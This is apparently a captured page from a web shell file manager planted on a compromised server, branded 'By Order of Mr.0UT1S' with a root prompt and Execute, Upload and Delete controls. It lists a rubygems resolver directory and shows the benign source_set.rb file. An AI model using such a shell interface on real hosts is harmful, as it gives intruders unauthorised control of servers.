opt
/
alt
/
ruby26
/
lib64
/
ruby
/
2.6.0
/
rubygems
/
resolver
/
Go to Home Directory
+
Upload
Create File
root@0UT1S:~$
Execute
By Order of Mr.0UT1S
[DIR] ..
N/A
[DIR] molinillo
N/A
activation_request.rb
3.73 KB
Rename
Delete
api_set.rb
2.46 KB
Rename
Delete
api_specification.rb
2.19 KB
Rename
Delete
best_set.rb
1.61 KB
Rename
Delete
composed_set.rb
1.19 KB
Rename
Delete
conflict.rb
3.35 KB
Rename
Delete
current_set.rb
282 bytes
Rename
Delete
dependency_request.rb
2.29 KB
Rename
Delete
git_set.rb
2.88 KB
Rename
Delete
git_specification.rb
1.27 KB
Rename
Delete
index_set.rb
1.41 KB
Rename
Delete
index_specification.rb
1.48 KB
Rename
Delete
installed_specification.rb
1.22 KB
Rename
Delete
installer_set.rb
5.02 KB
Rename
Delete
local_specification.rb
807 bytes
Rename
Delete
lock_set.rb
1.67 KB
Rename
Delete
lock_specification.rb
1.81 KB
Rename
Delete
molinillo.rb
82 bytes
Rename
Delete
requirement_list.rb
1.34 KB
Rename
Delete
set.rb
1.24 KB
Rename
Delete
source_set.rb
902 bytes
Rename
Delete
spec_specification.rb
1.06 KB
Rename
Delete
specification.rb
2.33 KB
Rename
Delete
stats.rb
957 bytes
Rename
Delete
vendor_set.rb
1.91 KB
Rename
Delete
vendor_specification.rb
581 bytes
Rename
Delete
## # The SourceSet chooses the best available method to query a remote index. # # Kind off like BestSet but filters the sources for gems class Gem::Resolver::SourceSet < Gem::Resolver::Set ## # Creates a SourceSet for the given +sources+ or Gem::sources if none are # specified. +sources+ must be a Gem::SourceList. def initialize super() @links = {} @sets = {} end def find_all(req) # :nodoc: if set = get_set(req.dependency.name) set.find_all req else [] end end # potentially no-op def prefetch(reqs) # :nodoc: reqs.each do |req| if set = get_set(req.dependency.name) set.prefetch reqs end end end def add_source_gem(name, source) @links[name] = source end private def get_set(name) link = @links[name] @sets[link] ||= Gem::Source.new(link).dependency_resolver_set if link end end
Save